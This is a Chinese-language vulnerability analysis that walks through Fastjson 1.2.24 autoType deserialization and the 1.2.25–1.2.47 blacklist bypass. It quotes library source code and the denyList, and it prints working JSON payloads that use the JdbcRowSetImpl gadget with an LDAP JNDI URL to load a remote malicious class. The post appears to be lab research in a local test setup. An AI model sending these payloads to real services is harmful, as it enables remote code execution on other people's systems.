Fastjson漏洞分析

FastJson 是阿⾥巴巴的开源 JSON 解析库,它可以解析 JSON 格式的字符串,⽀持将 Java Bean 序列

化为 JSON 字符串,也可以从JSON字符串反序列化到 Java Bean

环境:

jdk1.8.0_u111

fastjson: 1.2.24

<dependency>
  <groupId>com.alibaba</groupId>
  <artifactId>fastjson</artifactId>
  <version>1.2.24</version>
</dependency>

Fastjson的简单使用

package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import jdk.nashorn.api.scripting.JSObject;

public class demo1 {
    public static void main(String[] args) {
        String s = "{\"age\":\"18\",\"name\":\"abc\"}";
        JSONObject jsonObject = JSON.parseObject(s);//将字符串解析为json格式
        System.out.println(jsonObject);

    }
}

输出结果:

{"name":"abc","age":"18"}

Java Bean

Java Bean 是一种符合特定规范的 Java 类,它是指那些用于传递数据的简单对象。Java Bean 类通常具有以下特点:

  1. 必须有一个默认的构造函数;
  2. 属性必须私有化public,通过公有的public getter/setter 方法进行访问;
public class Person {
    private String name;
    private int age;

    public String getName() { return this.name; }
    public void setName(String name) { this.name = name; }

    public int getAge() { return this.age; }
    public void setAge(int age) { this.age = age; }
}

Java Bean 主要用于封装数据,方便在不同层间传递。它们通常被广泛用于图形用户界面 (GUI) 编程、企业级应用程序和数据库操作等方面,可以使代码更加清晰易懂,并且提高代码的可复用性和扩展性。

Fastjson+Java Bean

先写一个Java Bean Person类

package org.example;

public class Person {
    private String name;
    private int age;
    public void Person() {
        System.out.println("调用空参构造Person()");
    }
    public void Person(String name, int age) {
        System.out.println("调用形参构造Person(String name, int age)");
        this.name = name;
        this.age = age;
    }
    public String getName() {
        System.out.println("调用getName()");
        return name;
    }
    public void setName(String name) {
        System.out.println("调用setName()");
        this.name = name;
    }
    public int getAge() {
        System.out.println("调用getAge()");
        return age;
    }
    public void setAge(int age) {
        System.out.println("调用setAge()");
        this.age = age;
    }
    @Override
    public String toString() {
        System.out.println("调用toString()");
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

写个demo

package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import jdk.nashorn.api.scripting.JSObject;

public class demo1 {
    public static void main(String[] args) {
        String s = "{\"age\":\"18\",\"name\":\"abc\"}";
        Person p =  JSON.parseObject(s,Person.class);//解析的时候指定解析的类,指定了对象类型
        System.out.println(p);
        System.out.println(p.getName());
        System.out.println(p.getAge());
        System.out.println(p.toString());

    }
}

输出结果

调用setAge()
调用setName()
调用toString()
User{name='abc', age=18}
调用getName()
abc
调用getAge()
18
调用toString()
User{name='abc', age=18}

这里可以看到,把json字符串解析为java对象,并且能够正常调用对象的方法

通过输出结果和调试了解到,json中对应的值是通过setter方法传给对象的 ,并且通过getter获取值

奇怪的特性

上面的都是比较正常的用法,但是Fastjson有个奇怪的特性,就是它会根据传入的字符串不同,导致解析不同的类

例如:

package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import jdk.nashorn.api.scripting.JSObject;

public class demo1 {
    public static void main(String[] args) {
        String s = "{\"@type\":\"org.example.Person\",\"age\":\"18\",\"name\":\"abc\"}";
        JSONObject jsonObject = JSON.parseObject(s);
        System.out.println(jsonObject);
        System.out.println(jsonObject.get("age"));

    }
}

输出结果

调用setAge()
调用setName()
调用getAge()
调用getName()
{"name":"abc","age":18}
18

如果给解析传的字符串中含有@type字段,就相当于指定一个类(如例子中的org.example.Person),按照这个类去解析

调试分析:

调试到DefaultJSONParser.java,这里有一个判断,当json中key为“@type”并且满足!lexer.isEnabled(Feature.DisableSpecialKeyDetect)

就会进入判断

image-20230408222122119

进入判断后,调用TypeUtils.loadClass(),将@type对应的value作为类对象加载

反序列化利用链

fastjson的反序列化和原生反序列化不同的点:

  • 不需要实现Serializable
  • 变量不需要非transient ,变量有对应的setter或者是public 或者是满足条件的getter
  • 原生的反序列化的入口点是readObject,但fastjson是setter/getter

总的来说,和原生的反序列化漏洞不是一个东西,协议不同,fastjson在解析json数据的过程中进行的序列化操作,并且和原生的序列化操作不一样

这个序列化的漏洞点在JdbcRowSetImpl类中,

里面的connect方法如下

private Connection connect() throws SQLException {
    if (this.conn != null) {
        return this.conn;
    } else if (this.getDataSourceName() != null) {
        try {
            InitialContext var1 = new InitialContext();
            DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
            return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
        } catch (NamingException var3) {
            throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
        }
    } else {
        return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
    }
}

在第6,7行中可以看到它调用了 InitialContext()lookup() ,如果this.getDataSourceName()可控,这不妥妥的JNDI注入吗

查看一下getDataSourceName(),发现是直接返回dataSource

public String getDataSourceName() {
    return dataSource;
}

dataSource,跟进查看得知,它是BaseRowSet类的一个私有属性,并且存在getter和setter方法


public String getDataSourceName() {
    return dataSource;
}
public void setDataSourceName(String name) throws SQLException {

    if (name == null) {
        dataSource = null;
    } else if (name.equals("")) {
       throw new SQLException("DataSource name cannot be empty string");
    } else {
       dataSource = name;
    }

    URL = null;
}

这就很符合Java Bean的写法

到这里,我们是可以构造这样的POC

ldap://127.0.0.1:8085/VigsjhwY,弹计算器的恶意类

String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/VigsjhwY\"}";
JSON.parseObject(s);

但是这运行没法达到我们想要的结果

遇事不决,查找用法

这里查找connect()的用法,在JdbcRowSetImpl类中setAutoCommit(),找到了connect()

public void setAutoCommit(boolean var1) throws SQLException {
    if (this.conn != null) {
        this.conn.setAutoCommit(var1);
    } else {
        this.conn = this.connect();
        this.conn.setAutoCommit(var1);
    }

}
public boolean getAutoCommit() throws SQLException {
    return this.conn.getAutoCommit();
}

为了能够进入这个方法,还需要加上AutoCommit,解析的时候才会调用setter

因为它的参数是boolean类型的,传入个true或false,也可以传入0或1

最终POC

public class demo1 {
    public static void main(String[] args) {
        String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:8085/VigsjhwY\",\"autoCommit\":true}";
        JSON.parseObject(s);
        //JSON.parse(s)//使用这个也行
    }
}

image-20230409200759348

image-20230409200831610

fastjson1.2.25<=1.2.47绕过

刚刚复现的版本是1.2.24的fastjson,在这个版本之前,fastjson没有做类加载的限制,导致任意代码执行的问题

在1.2.24之后对漏洞进行了修复

下面用的是1.2.25版本进行演示

<dependency>
  <groupId>com.alibaba</groupId>
  <artifactId>fastjson</artifactId>
  <version>1.2.25</version>
</dependency>

再运行上次的payload直接报错

image-20230410140121948

经过调试发现,在DefaultJSONParser.java中,loadClass变成了checkAutoType

image-20230410141141798

和之前的对比:

image-20230408222122119

应该是这里出了问题,跟进去看看

发现之前的TypeUtils.loadClass()被丢到了判断里面了,并且按照之前的poc无法进入到判断里面

image-20230410142236791

进入判断后还有两个循环,一个白名单acceptList,这个默认是空的,另一个是黑名单,denyList,这个是有内容的,内容如下:

denyList        = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");

可以看到com.sun在黑名单里面

这里的TypeUtils.loadClass()是用不了了,因为加载的类不在白名单里,换下一个

调试往下

image-20230410155047075

getClassFromMapping(typeName)是查找缓存,就是加载过的类会放到Mapping里,就是缓存,到第二次加载的时候就不重新加载了,直接在缓存里找

如果loadClass的时候就把恶意类放到缓存里了,是不是就可以绕过check了

跟进去看看

public static Class<?> getClassFromMapping(String className) {
    return mappings.get(className);
}

这里直接从mappings里面获取数据

现在的问题是如何在mappings里面存东西

ALT+F7,查找用法,在loadClass(String,ClassLoader)里找到可以控制参数的mappings.put

image-20230410161554305

看看loadClass()

public static Class<?> loadClass(String className, ClassLoader classLoader)
{
.....
}

继续查找loadClass方法的调用

image-20230410173820101

image-20230410174149665

有限制条件,只有满足clazz == Class.class才能进入,其中clazz是传进来的参数

public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName){}

看一下所在的类

public class MiscCodec implements ObjectSerializer, ObjectDeserializer{}

在这可以知道MiscCodec实现了两个接口,是一个序列化和反序列化器

经过调试过程中发现,反序列化是在这里获取的

image-20230410175101694

通过config找到对应的反序列化器,当类为Class.class的时候就会调用MiscCodec

image-20230410175526180

回到这里

if (clazz == Class.class) {
    return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

strVal是传进来的字符串,当loadClass执行后,会把类名加载,然后放到缓存里

整个流程中,最主要的漏洞在于,当查找缓存的时候,查找到了就会返回这个类

image-20230410181347378

第一步先让它进行正常的加载,把恶意类放到缓存里

{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}

第二不就是加载恶意类,通过从缓存里查找来绕过类型检查java

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:8085/XzfLalyY","autoCommit":true}

最后的POC

package org.example;
import com.alibaba.fastjson.JSON;
public class demo1 {
    public static void main(String[] args) {
        String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:8085/XzfLalyY\",\"autoCommit\":true}}";
        JSON.parse(s);
    }
}

image-20230410182733010